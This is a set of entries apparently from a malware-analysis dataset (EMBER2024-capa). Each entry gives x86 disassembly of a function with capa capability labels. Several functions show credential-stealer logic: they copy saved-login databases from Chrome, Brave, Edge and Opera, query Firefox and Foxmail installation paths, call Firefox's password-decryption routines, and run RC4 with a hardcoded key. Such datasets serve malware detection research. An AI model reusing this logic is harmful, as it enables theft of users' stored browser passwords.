joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, eax
mov eax, dword [ebp + 0x10]
test dl, 0xf
je 0x1000723b
mov eax, 0xffffffde
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0xc], 0
push ebx
jne 0x100072e4
test edx, edx
je 0x100073be
mov ebx, eax
mov eax, edi
sub eax, esi
mov dword [ebp - 4], eax
lea eax, [edx - 1]
shr eax, 4
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push esi
push ecx
mov eax, ebx
mov dword [ebp - 0x20], edx
call fcn.10006b40
mov eax, esi
add esp, 8
lea ecx, [edi + 2]
mov esi, 4
mov edx, dword [ebp - 4]
movzx edx, byte [edx + eax]
xor byte [eax], dl
movzx edx, byte [ecx - 1]
xor byte [eax + 1], dl
movzx edx, byte [ecx]
xor byte [eax + 2], dl
movzx edx, byte [ecx + 1]
xor byte [eax + 3], dl
add eax, 4
add ecx, 4
dec esi
jne 0x10007291
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
sub dword [ebp - 4], 0x10
mov dword [edi], ecx
mov ecx, dword [ebp - 0x20]
mov dword [edi + 4], edx
mov edx, dword [ebp - 0x1c]
add ebx, 0x10
dec dword [ebp - 8]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov esi, eax
jne 0x10007261
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
test edx, edx
je 0x100073be
mov ecx, edi
sub ecx, esi
mov dword [ebp - 8], ecx
mov ecx, edi
sub ecx, eax
mov dword [ebp - 4], ecx
lea ecx, [edx - 1]
shr ecx, 4
inc ecx
mov dword [ebp - 0x14], ecx
lea ecx, [edi + 3]
mov edx, esi
sub edx, eax
mov dword [ebp - 0xc], ecx
lea ecx, [esi + 1]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], 4
jmp 0x10007323
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 4]
movzx ebx, byte [eax + ebx]
xor bl, byte [eax]
add eax, 4
mov byte [edx + eax - 4], bl
mov edx, dword [ebp - 8]
mov dl, byte [ecx + edx]
xor dl, byte [eax - 3]
add ecx, 4
mov byte [ecx - 4], dl
movzx ebx, byte [eax - 2]
mov edx, dword [ebp - 0xc]
xor bl, byte [edx - 1]
add edx, 4
mov byte [ecx - 3], bl
movzx ebx, byte [eax - 1]
xor bl, byte [edx - 4]
mov dword [ebp - 0xc], edx
mov byte [ecx - 2], bl
mov ebx, 1
sub dword [ebp - 0x10], ebx
jne 0x10007320
push esi
cmp dword [ebp + 0xc], ebx
jne 0x1000737c
mov eax, dword [ebp + 8]
push eax
mov ecx, esi
call fcn.10006460
jmp 0x10007387
mov ecx, dword [ebp + 8]
push ecx
mov eax, esi
call fcn.10006b40
mov edx, dword [esi]
mov dword [edi], edx
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [ebp + 0x10]
mov dword [edi + 8], ecx
mov edx, dword [esi + 0xc]
mov ecx, 0x10
sub dword [ebp - 4], ecx
sub dword [ebp - 8], ecx
add eax, ecx
add esp, 8
add esi, ecx
sub dword [ebp - 0x14], ebx
mov dword [edi + 0xc], edx
mov dword [ebp + 0x10], eax
jne 0x10007304
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10008af0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push ebx
push edi
test dl, 7
je 0x10008b0b
mov eax, 0xffffffce
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0xc], 1
jne 0x10008bba
test edx, edx
je 0x10008c48
lea ebx, [eax + 2]
sub eax, ecx
add eax, 0xfffffffe
mov dword [esp + 8], eax
lea eax, [edx - 1]
shr eax, 3
inc eax
lea edi, [ecx + 2]
mov dword [esp + 0xc], eax
movzx edx, byte [edi - 2]
xor dl, byte [esi]
mov ecx, dword [esp + 8]
mov byte [ecx + edi], dl
movzx eax, byte [edi - 1]
xor al, byte [esi + 1]
add ecx, edi
mov byte [ebx - 1], al
movzx edx, byte [esi + 2]
xor dl, byte [edi]
push ecx
mov byte [ebx], dl
movzx eax, byte [edi + 1]
xor al, byte [esi + 3]
mov byte [ebx + 1], al
movzx edx, byte [edi + 2]
xor dl, byte [esi + 4]
mov byte [ebx + 2], dl
movzx eax, byte [edi + 3]
xor al, byte [esi + 5]
mov byte [ebx + 3], al
movzx edx, byte [edi + 4]
xor dl, byte [esi + 6]
mov byte [ebx + 4], dl
movzx eax, byte [edi + 5]
xor al, byte [esi + 7]
mov byte [ebx + 5], al
mov eax, dword [ebp + 8]
call fcn.10008670
mov eax, dword [esp + 0xc]
mov edx, dword [eax + edi]
mov dword [esi], edx
mov eax, dword [eax + edi + 4]
add esp, 4
add ebx, 8
add edi, 8
dec dword [esp + 0xc]
mov dword [esi + 4], eax
jne 0x10008b37
xor eax, eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
test edx, edx
je 0x10008c48
sub ecx, eax
lea edi, [eax + 2]
lea eax, [edx - 1]
add ecx, 0xfffffffe
shr eax, 3
inc eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 8]
mov eax, dword [ecx + edi + 4]
mov edx, dword [ecx + edi]
add ecx, edi
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 8]
lea ebx, [edi - 2]
push ebx
mov dword [esp + 0x14], edx
call fcn.10008670
movzx ecx, byte [esi]
xor byte [ebx], cl
movzx edx, byte [esi + 1]
xor byte [edi - 1], dl
movzx eax, byte [esi + 2]
xor byte [edi], al
movzx ecx, byte [esi + 3]
xor byte [edi + 1], cl
movzx edx, byte [esi + 4]
xor byte [edi + 2], dl
movzx eax, byte [esi + 5]
xor byte [edi + 3], al
movzx ecx, byte [esi + 6]
xor byte [edi + 4], cl
movzx edx, byte [esi + 7]
xor byte [edi + 5], dl
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
add esp, 4
add edi, 8
dec dword [esp + 0xc]
mov dword [esi], eax
mov dword [esi + 4], ecx
jne 0x10008bd9
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008cb0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push esi
mov esi, dword [ecx]
push edi
mov edi, dword [ecx + 4]
jbe 0x10008d0a
sub eax, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
push ebx
lea ecx, [ecx]
inc esi
and esi, 0xff
movzx eax, byte [ecx + esi + 8]
add edi, eax
and edi, 0xff
movzx ebx, byte [ecx + edi + 8]
mov byte [ecx + esi + 8], bl
mov byte [ecx + edi + 8], al
add al, bl
mov ebx, dword [ebp - 4]
movzx eax, al
mov al, byte [eax + ecx + 8]
xor al, byte [ebx + edx]
inc edx
dec dword [ebp + 8]
mov byte [edx - 1], al
jne 0x10008cd0
pop ebx
mov dword [ecx + 4], edi
pop edi
mov dword [ecx], esi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a150
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000a277
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1000a26d
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a26d
mov ecx, dword [ebp - 4]
push ecx
push 0x100a8400
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.1009626a
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x100af600
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1000a263
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000a259
mov dword [ebp - 0x14], str.GoogleChromeUser_DataDefaultLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x100a8470
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.1009626a
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x1000a24f
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x1000a279
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000a280
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000a3a7
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1000a39d
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a39d
mov ecx, dword [ebp - 4]
push ecx
push 0x100a847c
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.1009626a
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x100af600
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1000a393
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000a389
mov dword [ebp - 0x14], str.BraveSoftwareBrave_BrowserUser_DataDefaultLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x100a8494
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.1009626a
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x1000a37f
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x1000a3a9
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000a3b0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000a4d7
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1000a4cd
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a4cd
mov ecx, dword [ebp - 4]
push ecx
push 0x100a8514
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.1009626a
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x100af600
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1000a4c3
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000a4b9
mov dword [ebp - 0x14], str.MicrosoftEdgeUser_DataDefaultLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x100a852c
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.1009626a
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x1000a4af
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x1000a4d9
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000a4e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0xfffe
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a53a
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x10000002
push 0x100a8594
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths_firefox.exe
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x1000a530
mov eax, dword [ebp - 8]
jmp 0x1000a53c
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000b150
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fd0
call fcn.100969c0
mov eax, dword [0x100bf358]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0x1fa0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1fc4], 0x100a8416
push 0x1fa0
push 0
lea eax, [ebp - 0x1fc0]
push eax
call fcn.10096800
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1fc0]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.10096930
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x1000b2a0
call dword [0x100c0714]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000b296
push 0
push 1
mov edx, dword [ebp - 0x14]
push edx
call dword [0x100c0724]
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x1000b27d
lea eax, [ebp - 0x1fc0]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1fcc], 0
mov dword [ebp - 0x1fc8], 0
push 0
lea edx, [ebp - 0x1fd0]
push edx
lea eax, [ebp - 0xc]
push eax
call dword [0x100c0718]
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x1000b271
mov ecx, dword [ebp - 0x1fc8]
push ecx
mov edx, dword [ebp - 0x1fcc]
push edx
lea eax, [ebp - 0x1fc0]
push eax
call fcn.10096340
add esp, 0xc
mov ecx, dword [ebp - 0x1fc8]
mov byte [ebp + ecx - 0x1fc0], 0
lea edx, [ebp - 0x1fc0]
mov dword [ebp - 0x1fc4], edx
jmp 0x1000b27b
mov dword [ebp - 0x1fc4], str.PKllSDRDecrypt___error
jmp 0x1000b287
mov dword [ebp - 0x1fc4], str.PKllAuthenticate___error
mov eax, dword [ebp - 0x14]
push eax
call dword [0x100c071c]
add esp, 4
jmp 0x1000b2a0
mov dword [ebp - 0x1fc4], str.PKllGetInternalKeySlot___error
mov eax, dword [ebp - 0x1fc4]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1009625b
mov esp, ebp
pop ebp
ret
Function at 0x1000cb60
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000cc87
mov eax, dword [ebp - 4]
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1000cc7d
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000cc7d
mov ecx, dword [ebp - 4]
push ecx
push str._sDATABASE
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call fcn.1009626a
add esp, 0x10
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x100af5f0
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1000cc73
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000cc69
mov dword [ebp - 0x14], str.Opera_SoftwareOpera_StableLogin_Data
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x100a925c
push 0x7fff
mov eax, dword [ebp - 0x10]
push eax
call fcn.1009626a
add esp, 0x14
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x1000cc5f
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
jmp 0x1000cc89
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000d8e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0x12c
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000d97d
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 2
push str.Executable
push 0x100a96e8
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x1000d973
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x10], eax
push str..exe
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1000d973
push 0x5c
mov eax, dword [ebp - 4]
push eax
call fcn.1000e8d0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000d973
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov word [edx], cx
mov eax, dword [ebp - 4]
jmp 0x1000d97f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000d990
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x12c
push 0x258
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000d9e7
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 2
push str.Version
push str.SOFTWAREAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x1000d9dd
mov eax, dword [ebp - 4]
jmp 0x1000d9e9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100474f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [eax], 0
push 0
push 0x14
call fcn.10012b30
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004751c
mov eax, 7
jmp 0x100475c4
cmp dword [0x100b803c], 0
je 0x10047536
push 0xc8
call fcn.1001ea10
add esp, 4
test eax, eax
je 0x10047548
push 0x14
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.10096800
add esp, 0xc
jmp 0x10047595
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x10]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x100475d0
push 0
push 0
call fcn.10099484
add esp, 0x18
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x10047595
push 0x14
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.10096800
add esp, 0xc
mov edx, dword [ebp - 4]
cmp dword [edx + 8], 0
jne 0x100475ba
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 0x10]
push edx
call dword [ebp + 0xc]
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dword [edx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1009625b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100bf358]
jne 0x10096265
repz ret
jmp fcn.1009af14

Function at 0x100a331f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100bf358]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10099b1d
and dword [ebp - 0x14], 0
cmp dword [0x100c1ee0], 0
mov dword [ebp - 0x18], eax
jne 0x100a33d2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100a347a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100a347a
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100c1ee0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100c1ee4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100c1ee8], eax
call edi
push eax
call esi
mov dword [0x100c1ef0], eax
test eax, eax
je 0x100a33d2
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100c1eec], eax
mov eax, dword [0x100c1eec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100a342b
cmp dword [0x100c1ef0], ecx
je 0x100a342b
push eax
call esi
push dword [0x100c1ef0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100a342b
test ebx, ebx
je 0x100a342b
call edi
test eax, eax
je 0x100a3422
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100a3422
test byte [ebp - 8], 1
jne 0x100a342b
or dword [ebp + 0x10], 0x200000
jmp 0x100a345e
mov eax, dword [0x100c1ee4]
cmp eax, dword [ebp - 0x18]
je 0x100a345e
push eax
call esi
test eax, eax
je 0x100a345e
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100a345e
mov eax, dword [0x100c1ee8]
cmp eax, dword [ebp - 0x18]
je 0x100a345e
push eax
call esi
test eax, eax
je 0x100a345e
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100c1ee0]
call esi
test eax, eax
je 0x100a347a
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100a347c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1009625b
leave
ret
Function at 0x10001290
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
mov eax, dword [0x10015004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10016344]
push ebx
push esi
push edi
push 0x100
mov dword [ebp - 0x608], eax
lea eax, [ebp - 0x104]
push 0
push eax
call sym.MSVCR110.dll_memset
push 0x400
xor edi, edi
lea eax, [ebp - 0x604]
push edi
push eax
xor ebx, ebx
call sym.MSVCR110.dll_memset
push 0x100
lea eax, [ebp - 0x204]
push edi
push eax
call sym.MSVCR110.dll_memset
lea eax, [ebp - 0x204]
push str.fhYTmh32krf
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x2c
mov ecx, 0xc
nop word [eax + eax]
mov eax, ebx
mov byte [ebp + ebx - 0x104], bl
xor edx, edx
div ecx
movzx eax, byte [ebp + edx - 0x204]
mov dword [ebp + ebx*4 - 0x604], eax
inc ebx
cmp ebx, 0x100
jl 0x10001310
xor esi, esi
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x104]
mov ecx, dword [ebp + esi*4 - 0x604]
movzx eax, dl
add ecx, eax
add edi, ecx
and edi, 0x800000ff
jns 0x10001365
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], dl
cmp esi, 0x100
jl 0x10001340
xor esi, esi
cmp dword [ebp - 0x608], esi
jle 0x100013f8
xor ebx, ebx
xor edi, edi
inc ebx
and ebx, 0x800000ff
jns 0x100013a2
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, byte [ebp + ebx - 0x104]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x100013be
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
mov byte [ebp + ebx - 0x104], al
mov byte [ebp + edi - 0x104], cl
movzx eax, byte [ebp + ebx - 0x104]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x104]
xor byte [esi + 0x10016348], al
inc esi
cmp esi, dword [ebp - 0x608]
jl 0x10001391
call fcn.10001050
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001577
mov esp, ebp
pop ebp
ret